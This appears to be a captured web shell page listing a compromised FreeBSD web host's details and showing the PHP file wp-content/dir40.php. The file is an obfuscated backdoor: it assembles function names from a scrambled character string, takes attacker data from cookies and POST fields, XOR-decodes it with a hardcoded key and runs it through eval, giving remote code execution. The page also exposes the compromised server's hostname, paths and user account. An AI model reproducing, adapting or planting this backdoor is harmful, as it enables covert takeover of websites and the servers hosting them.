HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/dir40.php
<?php
$etfqoa = 'd_4#gtravcm19l3-oxbky2Hp\'*0ne5sifu';$eibez = Array();$eibez[] = $etfqoa[22].$etfqoa[25];$eibez[] = $etfqoa[3];$eibez[] = $etfqoa[2].$etfqoa[2].$etfqoa[18].$etfqoa[11].$etfqoa[18].$etfqoa[29].$etfqoa[32].$etfqoa[9].$etfqoa[15].$etfqoa[32].$etfqoa[12].$etfqoa[21].$etfqoa[14].$etfqoa[15].$etfqoa[2].$etfqoa[2].$etfqoa[11].$etfqoa[9].$etfqoa[15].$etfqoa[12].$etfqoa[7].$etfqoa[18].$etfqoa[26].$etfqoa[15].$etfqoa[32].$etfqoa[26].$etfqoa[29].$etfqoa[9].$etfqoa[0].$etfqoa[14].$etfqoa[9].$etfqoa[32].$etfqoa[0].$etfqoa[7].$etfqoa[18].$etfqoa[0];$eibez[] = $etfqoa[9].$etfqoa[16].$etfqoa[33].$etfqoa[27].$etfqoa[5];$eibez[] = $etfqoa[30].$etfqoa[5].$etfqoa[6].$etfqoa[1].$etfqoa[6].$etfqoa[28].$etfqoa[23].$etfqoa[28].$etfqoa[7].$etfqoa[5];$eibez[] = $etfqoa[28].$etfqoa[17].$etfqoa[23].$etfqoa[13].$etfqoa[16].$etfqoa[0].$etfqoa[28];$eibez[] = $etfqoa[30].$etfqoa[33].$etfqoa[18].$etfqoa[30].$etfqoa[5].$etfqoa[6];$eibez[] = $etfqoa[7].$etfqoa[6].$etfqoa[6].$etfqoa[7].$etfqoa[20].$etfqoa[1].$etfqoa[10].$etfqoa[28].$etfqoa[6].$etfqoa[4].$etfqoa[28];$eibez[] = $etfqoa[30].$etfqoa[5].$etfqoa[6].$etfqoa[13].$etfqoa[28].$etfqoa[27];$eibez[] = $etfqoa[23].$etfqoa[7].$etfqoa[9].$etfqoa[19];foreach ($eibez[7]($_COOKIE, $_POST) as $jjdqg => $ytkcm){function bigbhv($eibez, $jjdqg, $dmofah){return $eibez[6]($eibez[4]($jjdqg . $eibez[2], ($dmofah / $eibez[8]($jjdqg)) + 1), 0, $dmofah);}function skwhw($eibez, $iipcgad){return @$eibez[9]($eibez[0], $iipcgad);}function jwarc($eibez, $iipcgad){$mvfuyhg = $eibez[3]($iipcgad) % 3;if (!$mvfuyhg) {eval($iipcgad[1]($iipcgad[2]));exit();}}$ytkcm = skwhw($eibez, $ytkcm);jwarc($eibez, $eibez[5]($eibez[1], $ytkcm ^ bigbhv($eibez, $jjdqg, $eibez[8]($ytkcm))));}